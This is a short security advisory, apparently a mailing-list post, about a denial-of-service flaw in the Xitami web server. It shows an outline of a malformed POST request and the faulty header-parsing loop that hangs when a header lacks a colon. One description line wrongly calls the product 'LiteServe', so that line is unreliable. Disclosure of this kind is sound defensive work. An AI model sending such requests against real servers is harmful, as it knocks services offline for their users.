Xitami Denial of Service in Handling malformed request

["Tri Huynh" <trihuynh () zeeup com>]

Xitami Denial of Service in Handling malformed request
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PROGRAM: Xitami
HOMEPAGE: http://www.xitami.com
VULNERABLE VERSIONS: 2.5 and below


DESCRIPTION
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LiteServe is a very powerful, full-featured, open-sourced Web server.
and the flagship of iMatix. This is a great free product.

DETAILS
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Xitami has a logical error in the way it handles POST request that can be
used to perform a Denial-of-service attack. An Request like this will
make the server won't response to any other requests although it is
still listen to port 80
POST /forum/index.php HTTP/1.1
Referer: Sentryunion
Accept-Encoding: None
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Content-Length: 10
(long string here)
0x0D 0x0A
(another long string here)
Xitami is a very good server. However the code to handle parsing the HTTP
header doesn't have a good logic:

while(header && *header && *header != '\r')
{
header_name = header
if((header_value=strchr(header_name, ":")) != NULL)
{ ... header++;}
}
So if inside the request HTTP header there is no ":" charater. It will make
the
while loop runs forever = Denial of Service.

WORKAROUND
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Use URL filter to filter all the bad request. Vendor doesn't response
after 2 weeks !

CREDITS
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Discovered by Tri Huynh from Sentry Union


DISLAIMER
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